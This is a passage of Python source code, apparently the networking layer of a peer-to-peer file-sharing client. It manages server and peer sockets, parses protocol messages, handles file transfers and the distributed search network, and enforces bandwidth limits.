try: log.add_conn("Closing socket %s", sock) sock.close() except OSError as error: log.add_conn("Failed to close socket %(sock)s: %(error)s", { "sock": sock, "error": error }) def _close_connection(self, connection_list, sock, callback=True): conn_obj = connection_list.pop(sock, None) if conn_obj is None: # Already removed return self._selector.unregister(sock) self._close_socket(sock, shutdown=(connection_list != self._connsinprogress)) self._numsockets -= 1 if conn_obj.__class__ is ServerConnection: # Disconnected from server, clean up connections and queue self._server_disconnect() return init = conn_obj.init if sock is self._parent_socket and self._should_process_queue: self._send_have_no_parent() elif self._is_download(conn_obj): self._total_downloads -= 1 if not self._total_downloads: self._total_download_bandwidth = 0 if callback: events.emit_main_thread("download-connection-closed", init.target_user, conn_obj.filedown.token) self._calc_download_limit() elif self._is_upload(conn_obj): self._total_uploads -= 1 if not self._total_uploads: self._total_upload_bandwidth = 0 if callback: timed_out = (time.time() - conn_obj.lastactive) > self.CONNECTION_MAX_IDLE events.emit_main_thread("upload-connection-closed", init.target_user, conn_obj.fileupl.token, timed_out) self._calc_upload_limit_function() elif init is not None: if callback: events.emit_main_thread("peer-connection-closed", init.target_user) else: # No peer init message present, nothing to do return conn_type = init.conn_type user = init.target_user log.add_conn("Removed connection of type %(type)s to user %(user)s %(addr)s", { "type": conn_type, "user": user, "addr": conn_obj.addr }) init_key = user + conn_type user_init = self._username_init_msgs.get(init_key) if user_init is None: return log.add_conn("Removing PeerInit message of type %(type)s for user %(user)s %(addr)s", { "type": conn_type, "user": user, "addr": conn_obj.addr }) if init is not user_init: # Don't remove init message if connection has been superseded log.add_conn("Cannot remove PeerInit message, since the connection has been superseded") return if connection_list is self._connsinprogress and user_init.sock is not None: # Outgoing connection failed, but an indirect connection was already established log.add_conn("Cannot remove PeerInit message, an indirect connection was already established previously") return del self._username_init_msgs[init_key] def _close_conn_in_progress_if_stale(self, conn_obj, sock, current_time): if (current_time - conn_obj.lastactive) > self.IN_PROGRESS_STALE_AFTER: # Connection failed self._connect_error("Timed out", conn_obj) self._close_connection(self._connsinprogress, sock, callback=False) def _close_connection_if_inactive(self, conn_obj, sock, current_time, num_sockets): if sock is self._server_socket: return if num_sockets >= MAXSOCKETS and not self._connection_still_active(conn_obj): # Connection limit reached, close connection if inactive self._close_connection(self._conns, sock) return time_diff = (current_time - conn_obj.lastactive) if not conn_obj.has_post_init_activity and time_diff > self.CONNECTION_MAX_IDLE_GHOST: # "Ghost" connections can appear when an indirect connection is established, # search results arrive, we close the connection, and the direct connection attempt # succeeds afterwrds. Since the peer already sent a search result message, this connection # idles without any messages ever being sent beyond PeerInit. Close it sooner than regular # idling connections to prevent connections from piling up. self._close_connection(self._conns, sock) elif time_diff > self.CONNECTION_MAX_IDLE: # No recent activity, peer connection is stale self._close_connection(self._conns, sock) def _close_connection_by_ip(self, ip_address): for sock, conn_obj in self._conns.copy().items(): if conn_obj is None or sock is self._server_socket: continue addr = conn_obj.addr if ip_address == addr[0]: log.add_conn("Blocking peer connection to IP address %(ip)s:%(port)s", { "ip": addr[0], "port": addr[1] }) self._close_connection(self._conns, sock) """ Server Connection """ @staticmethod def _set_server_socket_keepalive(server_socket, idle=10, interval=2): """ Ensure we are disconnected from the server in case of connectivity issues, by sending TCP keepalive pings. Assuming default values are used, once we reach 10 seconds of idle time, we start sending keepalive pings once every 2 seconds. If 10 failed pings have been sent in a row (20 seconds), the connection is presumed dead. """ count = 10 timeout_seconds = (idle + (interval * count)) if hasattr(socket, "SO_KEEPALIVE"): server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) # pylint: disable=no-member if hasattr(socket, "TCP_KEEPINTVL"): server_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, interval) # pylint: disable=no-member if hasattr(socket, "TCP_KEEPCNT"): server_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, count) # pylint: disable=no-member if hasattr(socket, "TCP_KEEPIDLE"): server_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, idle) # pylint: disable=no-member elif hasattr(socket, "TCP_KEEPALIVE"): # macOS fallback server_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPALIVE, idle) # pylint: disable=no-member elif hasattr(socket, "SIO_KEEPALIVE_VALS"): # Windows fallback # Probe count is set to 10 on a system level, and can't be modified. # https://docs.microsoft.com/en-us/windows/win32/winsock/so-keepalive server_socket.ioctl( socket.SIO_KEEPALIVE_VALS, # pylint: disable=no-member ( 1, idle * 1000, interval * 1000 ) ) if hasattr(socket, "TCP_USER_TIMEOUT"): server_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_USER_TIMEOUT, timeout_seconds * 1000) def _init_server_conn(self, msg_obj): try: self._server_socket = server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) selector_events = selectors.EVENT_READ | selectors.EVENT_WRITE conn_obj = ServerConnection( sock=server_socket, addr=msg_obj.addr, selector_events=selector_events, login=msg_obj.login) server_socket.setblocking(False) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, self.SOCKET_READ_BUFFER_SIZE) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, self.SOCKET_WRITE_BUFFER_SIZE) # Detect if our connection to the server is still alive self._set_server_socket_keepalive(server_socket) if self._bound_ip: server_socket.bind((self._bound_ip, 0)) elif self._interface: self._bind_to_network_interface(server_socket, self._interface) server_socket.connect_ex(msg_obj.addr) self._selector.register(server_socket, selector_events) self._connsinprogress[server_socket] = conn_obj self._numsockets += 1 except OSError as error: self._connect_error(error, conn_obj) self._close_socket(server_socket, shutdown=False) self._server_disconnect() def _process_server_input(self, conn_obj, msg_buffer): """ Server has sent us something, this function retrieves messages from the msg_buffer, creates message objects and returns them and the rest of the msg_buffer. """ msg_buffer_mem = memoryview(msg_buffer) buffer_len = len(msg_buffer_mem) idx = 0 # Server messages are 8 bytes or greater in length while buffer_len >= 8: msgsize, msgtype = DOUBLE_UINT_UNPACK(msg_buffer_mem[idx:idx + 8]) msgsize_total = msgsize + 4 if msgsize_total > buffer_len or msgsize < 0: # Invalid message size or buffer is being filled break # Unpack server messages if msgtype in SERVER_MESSAGE_CLASSES: msg_class = SERVER_MESSAGE_CLASSES[msgtype] msg = self._unpack_network_message( msg_class, msg_buffer_mem[idx + 8:idx + msgsize_total], msgsize - 4, "server") if msg is not None: if msg_class is EmbeddedMessage: msg = self._unpack_embedded_message(msg) elif msg_class is Login: if msg.success: # Ensure listening port is open self.upnp.local_ip_address, self.upnp.port = self._user_addresses[self._server_username] self.upnp.add_port_mapping(blocking=True) # Check for indirect connection timeouts self._conn_timeouts_timer_id = events.schedule( delay=1, callback=self._check_indirect_connection_timeouts, repeat=True ) msg.username = self._server_username self._queue.append(CheckPrivileges()) # Ask for a list of parents to connect to (distributed network) self._send_have_no_parent() # TODO: We can currently receive search requests from a parent connection, but # redirecting results to children is not implemented yet. Tell the server we don't accept # children for now. self._queue.append(AcceptChildren(False)) # Request a complete room list. A limited room list not including blacklisted rooms and # rooms with few users is automatically sent when logging in, but subsequent room list # requests contain all rooms. self._queue.append(RoomList()) else: self._queue.append(ServerDisconnect()) elif msg_class is ConnectToPeer: user = msg.user addr = (msg.ip_address, msg.port) conn_type = msg.conn_type token = msg.token log.add_conn(("Received indirect connection request of type %(type)s from user %(user)s, " "token %(token)s, address %(addr)s"), { "type": conn_type, "user": user, "token": token, "addr": addr }) init = PeerInit(addr=addr, init_user=user, target_user=user, conn_type=conn_type, indirect=True, token=token) self._connect_to_peer(user, addr, init) elif msg_class is GetUserStatus: if msg.status == UserStatus.OFFLINE: # User went offline, reset stored IP address if msg.user in self._user_addresses: del self._user_addresses[msg.user] elif msg_class is GetUserStats: if msg.user == self._server_username: self._max_distrib_children = msg.avgspeed // self._distrib_parent_speed_ratio elif msg_class is GetPeerAddress: user = msg.user pending_init_msgs = self._pending_init_msgs.pop(msg.user, []) if msg.port == 0: log.add_conn( "Server reported port 0 for user %(user)s", { "user": user } ) addr = (msg.ip_address, msg.port) user_offline = (addr == ("0.0.0.0", 0)) for init in pending_init_msgs: # We now have the IP address for a user we previously didn't know, # attempt a direct connection to the peer/user if user_offline: events.emit_main_thread( "peer-connection-error", user, init.outgoing_msgs[:], is_offline=True) else: init.addr = addr self._connect_to_peer(user, addr, init) # We already store a local IP address for our username if user != self._server_username and not user_offline: self._user_addresses[msg.user] = addr elif msg_class is Relogged: self._manual_server_disconnect = True self._server_relogged = True elif msg_class is PossibleParents: # Server sent a list of 10 potential parents, whose purpose is to forward us search requests. # We attempt to connect to them all at once, since connection errors are fairly common. self._potential_parents = msg.list log.add_conn("Server sent us a list of %s possible parents", len(msg.list)) if self._parent_socket is None and self._potential_parents: for user in self._potential_parents: addr = self._potential_parents[user] log.add_conn("Attempting parent connection to user %s", user) self._initiate_connection_to_peer(user, ConnectionType.DISTRIBUTED, in_address=addr) elif msg_class is ParentMinSpeed: self._distrib_parent_min_speed = msg.speed elif msg_class is ParentSpeedRatio: self._distrib_parent_speed_ratio = msg.ratio elif msg_class is ResetDistributed: log.add_conn("Received a reset request for distributed network") if self._parent_socket is not None: self._close_connection(self._conns, self._parent_socket) self._send_have_no_parent() self.emit_network_message_event(msg) else: log.add_debug("Server message type %(type)i size %(size)i contents %(msg_buffer)s unknown", { "type": msgtype, "size": msgsize - 4, "msg_buffer": msg_buffer[idx + 8:idx + msgsize_total] }) idx += msgsize_total buffer_len -= msgsize_total if idx: conn_obj.ibuf = msg_buffer[idx:] def _process_server_output(self, msg_obj): msg_class = msg_obj.__class__ if self._server_socket not in self._conns: log.add_conn("Cannot send the message over the closed connection: %(type)s %(msg_obj)s", { "type": msg_class, "msg_obj": msg_obj }) return msg = self._pack_network_message(msg_obj) if msg is None: return conn_obj = self._conns[self._server_socket] conn_obj.obuf.extend(msg_obj.pack_uint32(len(msg) + 4)) conn_obj.obuf.extend(msg_obj.pack_uint32(SERVER_MESSAGE_CODES[msg_class])) conn_obj.obuf.extend(msg) self._modify_connection_events(conn_obj, selectors.EVENT_READ | selectors.EVENT_WRITE) """ Peer Init """ def _process_peer_init_input(self, conn_obj, msg_buffer): init = None msg_buffer_mem = memoryview(msg_buffer) buffer_len = len(msg_buffer_mem) idx = 0 # Peer init messages are 8 bytes or greater in length while buffer_len >= 8 and init is None: msgsize = UINT_UNPACK(msg_buffer_mem[idx:idx + 4])[0] msgsize_total = msgsize + 4 if msgsize_total > buffer_len or msgsize < 0: # Invalid message size or buffer is being filled conn_obj.has_post_init_activity = True break msgtype = msg_buffer_mem[idx + 4] # Unpack peer init messages if msgtype in PEER_INIT_MESSAGE_CLASSES: msg_class = PEER_INIT_MESSAGE_CLASSES[msgtype] msg = self._unpack_network_message( msg_class, msg_buffer_mem[idx + 5:idx + msgsize_total], msgsize - 1, "peer init", conn_obj.sock) if msg is not None: if msg_class is PierceFireWall: log.add_conn(("Received indirect connection response (PierceFireWall) with token " "%(token)s, address %(addr)s"), { "token": msg.token, "addr": conn_obj.addr }) log.add_conn("List of stored PeerInit messages: %s", str(self._token_init_msgs)) log.add_conn("Attempting to fetch PeerInit message for token %s", msg.token) init = self._token_init_msgs.pop(msg.token, None) if init is None: log.add_conn(("Indirect connection attempt with token %s previously expired, " "closing connection"), msg.token) conn_obj.ibuf = bytearray() self._close_connection(self._conns, conn_obj.sock) return None self._add_init_message(init) init.sock = conn_obj.sock self._out_indirect_conn_request_times.pop(init, None) log.add_conn("Indirect connection to user %(user)s with token %(token)s established", { "user": init.target_user, "token": msg.token }) self._process_conn_messages(init) elif msg_class is PeerInit: user = msg.target_user conn_type = msg.conn_type addr = conn_obj.addr log.add_conn(("Received incoming direct connection of type %(type)s from user " "%(user)s %(addr)s"), { "type": conn_type, "user": user, "addr": addr }) if not self._verify_peer_connection_type(conn_type): conn_obj.ibuf = bytearray() self._close_connection(self._conns, conn_obj.sock) return None self._replace_existing_connection(msg) init = msg init.addr = addr self._add_init_message(msg) self._process_conn_messages(msg) self.emit_network_message_event(msg) else: log.add_debug("Peer init message type %(type)i size %(size)i contents %(msg_buffer)s unknown", { "type": msgtype, "size": msgsize - 1, "msg_buffer": msg_buffer[idx + 5:idx + msgsize_total] }) conn_obj.ibuf = bytearray() self._close_connection(self._conns, conn_obj.sock) return None idx += msgsize_total buffer_len -= msgsize_total if idx: conn_obj.ibuf = msg_buffer[idx:] return init def _process_peer_init_output(self, msg_obj): msg_class = msg_obj.__class__ if msg_obj.sock not in self._conns: log.add_conn("Cannot send the message over the closed connection: %(type)s %(msg_obj)s", { "type": msg_class, "msg_obj": msg_obj }) return # Pack peer init messages conn_obj = self._conns[msg_obj.sock] msg = self._pack_network_message(msg_obj) if msg is None: return conn_obj.obuf.extend(msg_obj.pack_uint32(len(msg) + 1)) conn_obj.obuf.extend(msg_obj.pack_uint8(PEER_INIT_MESSAGE_CODES[msg_class])) conn_obj.obuf.extend(msg) self._modify_connection_events(conn_obj, selectors.EVENT_READ | selectors.EVENT_WRITE) """ Peer Connection """ def _init_peer_connection(self, msg_obj): conn_obj = None try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) selector_events = selectors.EVENT_READ | selectors.EVENT_WRITE conn_obj = PeerConnection(sock=sock, addr=msg_obj.addr, selector_events=selector_events, init=msg_obj.init) sock.setblocking(False) sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, self.SOCKET_READ_BUFFER_SIZE) sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, self.SOCKET_WRITE_BUFFER_SIZE) if self._bound_ip: sock.bind((self._bound_ip, 0)) elif self._interface: self._bind_to_network_interface(sock, self._interface) sock.connect_ex(msg_obj.addr) self._selector.register(sock, selector_events) self._connsinprogress[sock] = conn_obj self._numsockets += 1 except OSError as error: self._connect_error(error, conn_obj) self._close_socket(sock, shutdown=False) def _process_peer_input(self, conn_obj, msg_buffer): """ We have a "P" connection (p2p exchange), peer has sent us something, this function retrieves messages from the msg_buffer, creates message objects and returns them and the rest of the msg_buffer. """ msg_buffer_mem = memoryview(msg_buffer) buffer_len = len(msg_buffer_mem) idx = 0 search_result_received = False # Peer messages are 8 bytes or greater in length while buffer_len >= 8: msgsize, msgtype = DOUBLE_UINT_UNPACK(msg_buffer_mem[idx:idx + 8]) msgsize_total = msgsize + 4 try: # Send progress to the main thread peer_class = PEER_MESSAGE_CLASSES[msgtype] if peer_class is SharedFileListResponse: events.emit_main_thread( "shared-file-list-progress", conn_obj.init.target_user, buffer_len, msgsize_total) elif peer_class is UserInfoResponse: events.emit_main_thread( "user-info-progress", conn_obj.init.target_user, buffer_len, msgsize_total) except KeyError: pass if msgsize_total > buffer_len or msgsize < 0: # Invalid message size or buffer is being filled break # Unpack peer messages if msgtype in PEER_MESSAGE_CLASSES: msg_class = PEER_MESSAGE_CLASSES[msgtype] msg = self._unpack_network_message( msg_class, msg_buffer_mem[idx + 8:idx + msgsize_total], msgsize - 4, "peer", conn_obj.init) if msg_class is FileSearchResponse: search_result_received = True self.emit_network_message_event(msg) else: host, port = conn_obj.addr log.add_debug(("Peer message type %(type)s size %(size)i contents %(msg_buffer)s unknown, " "from user: %(user)s, %(host)s:%(port)s"), { "type": msgtype, "size": msgsize - 4, "msg_buffer": msg_buffer[idx + 8:idx + msgsize_total], "user": conn_obj.init.target_user, "host": host, "port": port }) idx += msgsize_total buffer_len -= msgsize_total if idx: conn_obj.ibuf = msg_buffer[idx:] conn_obj.has_post_init_activity = True if search_result_received and not self._connection_still_active(conn_obj): # Forcibly close peer connection. Only used after receiving a search result, # as we need to get rid of peer connections before they pile up. self._close_connection(self._conns, conn_obj.sock) def _process_peer_output(self, msg_obj): msg_class = msg_obj.__class__ if msg_obj.init.sock not in self._conns: log.add_conn("Cannot send the message over the closed connection: %(type)s %(msg_obj)s", { "type": msg_class, "msg_obj": msg_obj }) return # Pack peer messages msg = self._pack_network_message(msg_obj) if msg is None: return conn_obj = self._conns[msg_obj.init.sock] conn_obj.obuf.extend(msg_obj.pack_uint32(len(msg) + 4)) conn_obj.obuf.extend(msg_obj.pack_uint32(PEER_MESSAGE_CODES[msg_class])) conn_obj.obuf.extend(msg) conn_obj.has_post_init_activity = True self._modify_connection_events(conn_obj, selectors.EVENT_READ | selectors.EVENT_WRITE) """ File Connection """ def _process_file_input(self, conn_obj, msg_buffer): """ We have a "F" connection (filetransfer), peer has sent us something, this function retrieves messages from the msg_buffer, creates message objects and returns them and the rest of the msg_buffer. """ msg_buffer_mem = memoryview(msg_buffer) idx = 0 if conn_obj.fileinit is None: # Note that this would technically be a FileUploadInit message if the remote user # uses the legacy file transfer system, where file upload connections are initiated # by the user that requested a download. We have no easy way of determining this. # Hence, we always assume that any incoming file init message is a # FileDownloadInit message. Do NOT use these messages to determine if the # transfer is a download or upload! msgsize = idx = 4 msg = self._unpack_network_message( FileDownloadInit, msg_buffer_mem[:msgsize], msgsize, "file", conn_obj.init) if msg is not None and msg.token is not None: self.emit_network_message_event(msg) conn_obj.fileinit = msg elif conn_obj.filedown is not None: idx = conn_obj.filedown.leftbytes added_bytes = msg_buffer_mem[:idx] if added_bytes: try: conn_obj.filedown.file.write(added_bytes) except (OSError, ValueError) as error: events.emit_main_thread( "download-file-error", conn_obj.filedown.token, conn_obj.filedown.file, error) self._close_connection(self._conns, conn_obj.sock) added_bytes_len = len(added_bytes) self._total_download_bandwidth += added_bytes_len conn_obj.filedown.leftbytes -= added_bytes_len current_time = time.time() finished = (conn_obj.filedown.leftbytes == 0) if finished or (current_time - conn_obj.lastcallback) > 1: # We save resources by not sending data back to core # every time a part of a file is downloaded events.emit_main_thread("file-download-progress", conn_obj.filedown.init.target_user, conn_obj.filedown.token, conn_obj.filedown.leftbytes) conn_obj.lastcallback = current_time if finished: self._close_connection(self._conns, conn_obj.sock) elif conn_obj.fileupl is not None and conn_obj.fileupl.offset is None: msgsize = idx = 8 msg = self._unpack_network_message(FileOffset, msg_buffer_mem[:msgsize], msgsize, "file", conn_obj.init) if msg is not None and msg.offset is not None: self.emit_network_message_event(msg) conn_obj.fileupl.offset = msg.offset try: conn_obj.fileupl.file.seek(msg.offset) self._modify_connection_events(conn_obj, selectors.EVENT_READ | selectors.EVENT_WRITE) except (OSError, ValueError) as error: events.emit_main_thread("upload-file-error", conn_obj.fileupl.token, conn_obj.fileupl.file, error) self._close_connection(self._conns, conn_obj.sock) if idx: conn_obj.ibuf = msg_buffer[idx:] conn_obj.has_post_init_activity = True def _process_file_output(self, msg_obj): msg_class = msg_obj.__class__ if msg_obj.init.sock not in self._conns: log.add_conn("Cannot send the message over the closed connection: %(type)s %(msg_obj)s", { "type": msg_class, "msg_obj": msg_obj }) return # Pack file messages if msg_class is FileUploadInit: msg = self._pack_network_message(msg_obj) if msg is None: return conn_obj = self._conns[msg_obj.init.sock] conn_obj.fileinit = msg_obj conn_obj.obuf.extend(msg) self.emit_network_message_event(msg_obj) elif msg_class is FileOffset: msg = self._pack_network_message(msg_obj) if msg is None: return conn_obj = self._conns[msg_obj.init.sock] conn_obj.obuf.extend(msg) conn_obj.has_post_init_activity = True self._modify_connection_events(conn_obj, selectors.EVENT_READ | selectors.EVENT_WRITE) """ Distributed Connection """ def _verify_parent_connection(self, conn_obj): """ Verify that a connection is our current parent connection """ if self._parent_socket is not None and conn_obj.sock != self._parent_socket: log.add_conn("Received a distributed message from user %s, who is not our parent. Closing connection.", conn_obj.init.target_user) conn_obj.ibuf = bytearray() self._close_connection(self._conns, conn_obj.sock) return False return True def _send_have_no_parent(self): """ Inform the server we have no parent. The server should either send us a PossibleParents message, or start sending us search requests. """ self._parent_socket = None log.add_conn("We have no parent, requesting a new one") self._queue.append(HaveNoParent(True)) self._queue.append(BranchRoot(self._server_username)) self._queue.append(BranchLevel(0)) def _process_distrib_input(self, conn_obj, msg_buffer): """ We have a distributed network connection, parent has sent us something, this function retrieves messages from the msg_buffer, creates message objects and returns them and the rest of the msg_buffer. """ msg_buffer_mem = memoryview(msg_buffer) buffer_len = len(msg_buffer_mem) idx = 0 # Distributed messages are 5 bytes or greater in length while buffer_len >= 5: msgsize = UINT_UNPACK(msg_buffer_mem[idx:idx + 4])[0] msgsize_total = msgsize + 4 if msgsize_total > buffer_len or msgsize < 0: # Invalid message size or buffer is being filled conn_obj.has_post_init_activity = True break msgtype = msg_buffer_mem[idx + 4] # Unpack distributed messages if msgtype in DISTRIBUTED_MESSAGE_CLASSES: msg_class = DISTRIBUTED_MESSAGE_CLASSES[msgtype] msg = self._unpack_network_message( msg_class, msg_buffer_mem[idx + 5:idx + msgsize_total], msgsize - 1, "distrib", conn_obj.init) if msg is not None: if msg_class is DistribSearch and not self._verify_parent_connection(conn_obj): return if msg_class is DistribEmbeddedMessage: if not self._verify_parent_connection(conn_obj): return msg = self._unpack_embedded_message(msg) elif msg_class is DistribBranchLevel: if msg.value < 0: # There are rare cases of parents sending a branch level value of -1, # presumably buggy clients log.add_conn(("Received an invalid branch level value %(level)s from user %(user)s. " "Closing connection."), {"level": msg.value, "user": msg.init.target_user}) conn_obj.ibuf = bytearray() self._close_connection(self._conns, conn_obj.sock) return if self._parent_socket is None and msg.init.target_user in self._potential_parents: # We have a successful connection with a potential parent. Tell the server who # our parent is, and stop requesting new potential parents. self._parent_socket = conn_obj.sock self._queue.append(HaveNoParent(False)) self._queue.append(BranchLevel(msg.value + 1)) log.add_conn("Adopting user %s as parent", msg.init.target_user) log.add_conn("Our branch level is %s", msg.value + 1) elif conn_obj.sock != self._parent_socket: # Unwanted connection, close it conn_obj.ibuf = bytearray() self._close_connection(self._conns, conn_obj.sock) return else: # Inform the server of our new branch level self._queue.append(BranchLevel(msg.value + 1)) log.add_conn("Received a branch level update from our parent. Our new branch level is %s", msg.value + 1) elif msg_class is DistribBranchRoot: if not self._verify_parent_connection(conn_obj): return # Inform the server of our branch root self._queue.append(BranchRoot(msg.user)) log.add_conn("Our branch root is user %s", msg.user) self.emit_network_message_event(msg) else: log.add_debug("Distrib message type %(type)i size %(size)i contents %(msg_buffer)s unknown", { "type": msgtype, "size": msgsize - 1, "msg_buffer": msg_buffer[idx + 5:idx + msgsize_total] }) conn_obj.ibuf = bytearray() self._close_connection(self._conns, conn_obj.sock) return idx += msgsize_total buffer_len -= msgsize_total if idx: conn_obj.ibuf = msg_buffer[idx:] conn_obj.has_post_init_activity = True def _process_distrib_output(self, msg_obj): msg_class = msg_obj.__class__ if msg_obj.init.sock not in self._conns: log.add_conn("Cannot send the message over the closed connection: %(type)s %(msg_obj)s", { "type": msg_class, "msg_obj": msg_obj }) return # Pack distributed messages msg = self._pack_network_message(msg_obj) if msg is None: return conn_obj = self._conns[msg_obj.init.sock] conn_obj.obuf.extend(msg_obj.pack_uint32(len(msg) + 1)) conn_obj.obuf.extend(msg_obj.pack_uint8(DISTRIBUTED_MESSAGE_CODES[msg_class])) conn_obj.obuf.extend(msg) conn_obj.has_post_init_activity = True self._modify_connection_events(conn_obj, selectors.EVENT_READ | selectors.EVENT_WRITE) """ Internal Messages """ def _process_internal_messages(self, msg_obj): msg_class = msg_obj.__class__ if msg_class is InitPeerConnection: if self._numsockets < MAXSOCKETS: self._init_peer_connection(msg_obj) else: # Connection limit reached, re-queue self._queue.append(msg_obj) elif msg_class is CloseConnection and msg_obj.sock in self._conns: sock = msg_obj.sock self._close_connection(self._conns, sock) elif msg_class is CloseConnectionIP: self._close_connection_by_ip(msg_obj.addr) elif msg_class is ServerConnect: self._server_connect(msg_obj) elif msg_class is ServerDisconnect: self._manual_server_disconnect = True self._server_disconnect() elif msg_class is DownloadFile: conn_obj = self._conns.get(msg_obj.init.sock) if conn_obj is not None: conn_obj.filedown = msg_obj self._total_downloads += 1 self._calc_download_limit() self._process_conn_incoming_messages(conn_obj) elif msg_class is UploadFile: conn_obj = self._conns.get(msg_obj.init.sock) if conn_obj is not None: conn_obj.fileupl = msg_obj self._total_uploads += 1 self._calc_upload_limit_function() self._process_conn_incoming_messages(conn_obj) elif msg_class is SetDownloadLimit: self._download_limit = msg_obj.limit * 1024 self._calc_download_limit() elif msg_class is SetUploadLimit: if msg_obj.limit > 0: if msg_obj.limitby: self._calc_upload_limit_function = self._calc_upload_limit else: self._calc_upload_limit_function = self._calc_upload_limit_by_transfer else: self._calc_upload_limit_function = self._calc_upload_limit_none self._upload_limit = msg_obj.limit * 1024 self._calc_upload_limit_function() elif msg_class is SendNetworkMessage: self._send_message_to_peer(msg_obj.user, msg_obj.message) """ Input/Output """ def _process_ready_input_socket(self, sock, current_time): if sock is self._listen_socket: # Manage incoming connections to listening socket while self._numsockets < MAXSOCKETS: try: incoming_sock, incoming_addr = sock.accept() except OSError as error: if error.errno == errno.EAGAIN: # No more incoming connections break log.add_conn("Incoming connection failed: %s", error) break selector_events = selectors.EVENT_READ incoming_sock.setblocking(False) self._conns[incoming_sock] = PeerConnection( sock=incoming_sock, addr=incoming_addr, selector_events=selector_events ) self._numsockets += 1 log.add_conn("Incoming connection from %s", str(incoming_addr)) # Event flags are modified to include 'write' in subsequent loops, if necessary. # Don't do it here, otherwise connections may break. self._selector.register(incoming_sock, selector_events) return conn_obj_in_progress = self._connsinprogress.get(sock) if conn_obj_in_progress is not None: try: # Check if the socket has any data for us sock.recv(1, socket.MSG_PEEK) except OSError as error: self._connect_error(error, conn_obj_in_progress) self._close_connection(self._connsinprogress, sock, callback=False) return conn_obj_established = self._conns.get(sock) if conn_obj_established is not None: if self._is_download(conn_obj_established): self._set_conn_speed_limit(sock, self._download_limit_split, self._dlimits) try: if not self._read_data(conn_obj_established, current_time): # No data received, socket was likely closed remotely self._close_connection(self._conns, sock) return except OSError as error: log.add_conn(("Cannot read data from connection %(addr)s, closing connection. " "Error: %(error)s"), { "addr": conn_obj_established.addr, "error": error }) self._close_connection(self._conns, sock) return self._process_conn_incoming_messages(conn_obj_established) def _process_ready_output_socket(self, sock, current_time): conn_obj_in_progress = self._connsinprogress.get(sock) if conn_obj_in_progress is not None: try: # Connection has been established conn_obj_in_progress.lastactive = current_time if sock is self._server_socket: self._establish_outgoing_server_connection(conn_obj_in_progress) else: self._establish_outgoing_peer_connection(conn_obj_in_progress) del self._connsinprogress[sock] except OSError as error: self._connect_error(error, conn_obj_in_progress) self._close_connection(self._connsinprogress, sock, callback=False) return conn_obj_established = self._conns.get(sock) if conn_obj_established is not None: if self._is_upload(conn_obj_established): self._set_conn_speed_limit(sock, self._upload_limit_split, self._ulimits) try: self._write_data(conn_obj_established, current_time) except OSError as error: log.add_conn("Cannot write data to connection %(addr)s, closing connection. Error: %(error)s", { "addr": conn_obj_established.addr, "error": error }) self._close_connection(self._conns, sock) def _process_ready_sockets(self, current_time): if self._listen_socket is None: # We can't call select() when no sockets are registered (WinError 10022) return for selector_key, selector_events in self._selector.select(timeout=-1): sock = selector_key.fileobj if selector_events & selectors.EVENT_READ: self._process_ready_input_socket(sock, current_time) if selector_events & selectors.EVENT_WRITE: self._process_ready_output_socket(sock, current_time) def _process_conn_incoming_messages(self, conn_obj): if not conn_obj.ibuf: return if conn_obj.sock is self._server_socket: self._process_server_input(conn_obj, conn_obj.ibuf) return init = conn_obj.init if init is None: conn_obj.init = init = self._process_peer_init_input(conn_obj, conn_obj.ibuf) if init is None or not conn_obj.ibuf: return if init.conn_type == ConnectionType.PEER: self._process_peer_input(conn_obj, conn_obj.ibuf) elif init.conn_type == ConnectionType.FILE: self._process_file_input(conn_obj, conn_obj.ibuf) elif init.conn_type == ConnectionType.DISTRIBUTED: self._process_distrib_input(conn_obj, conn_obj.ibuf) def _process_queue_messages(self): msgs = [] while self._queue: msgs.append(self._queue.popleft()) for msg_obj in msgs: if not self._should_process_queue: return msg_type = msg_obj.msgtype log.add_msg_contents(msg_obj, is_outgoing=True) if msg_type == MessageType.INIT: self._process_peer_init_output(msg_obj) elif msg_type == MessageType.INTERNAL: self._process_internal_messages(msg_obj) elif msg_type == MessageType.PEER: self._process_peer_output(msg_obj) elif msg_type == MessageType.DISTRIBUTED: self._process_distrib_output(msg_obj) elif msg_type == MessageType.FILE: self._process_file_output(msg_obj) elif msg_type == MessageType.SERVER: self._process_server_output(msg_obj) def _read_data(self, conn_obj, current_time): sock = conn_obj.sock limit = self._dlimits.get(sock) conn_obj.lastactive = current_time data = sock.recv(conn_obj.lastreadlength) conn_obj.ibuf.extend(data) if limit is None: # Unlimited download data if len(data) >= conn_obj.lastreadlength // 2: conn_obj.lastreadlength = conn_obj.lastreadlength * 2 else: # Speed Limited Download data (transfers) conn_obj.lastreadlength = limit if not data: return False return True def _write_data(self, conn_obj, current_time): sock = conn_obj.sock limit = self._ulimits.get(sock) prev_active = conn_obj.lastactive conn_obj.lastactive = current_time if limit is None: bytes_send = sock.send(conn_obj.obuf) else: bytes_send = sock.send(conn_obj.obuf[:limit]) conn_obj.obuf = conn_obj.obuf[bytes_send:] if self._is_upload(conn_obj) and conn_obj.fileupl.offset is not None: conn_obj.fileupl.sentbytes += bytes_send totalsentbytes = conn_obj.fileupl.offset + conn_obj.fileupl.sentbytes + len(conn_obj.obuf) try: size = conn_obj.fileupl.size if totalsentbytes < size: bytestoread = int(max(4096, bytes_send * 1.2) / max(1, conn_obj.lastactive - prev_active) - len(conn_obj.obuf)) if bytestoread > 0: read = conn_obj.fileupl.file.read(bytestoread) conn_obj.obuf.extend(read) self._modify_connection_events(conn_obj, selectors.EVENT_READ | selectors.EVENT_WRITE) except (OSError, ValueError) as error: events.emit_main_thread("upload-file-error", conn_obj.fileupl.token, conn_obj.fileupl.file, error) self._close_connection(self._conns, sock) # bytes_send can be zero if the offset equals the file size, check finished status here finished = (conn_obj.fileupl.offset + conn_obj.fileupl.sentbytes == size) if finished or bytes_send > 0: self._total_upload_bandwidth += bytes_send if finished or (current_time - 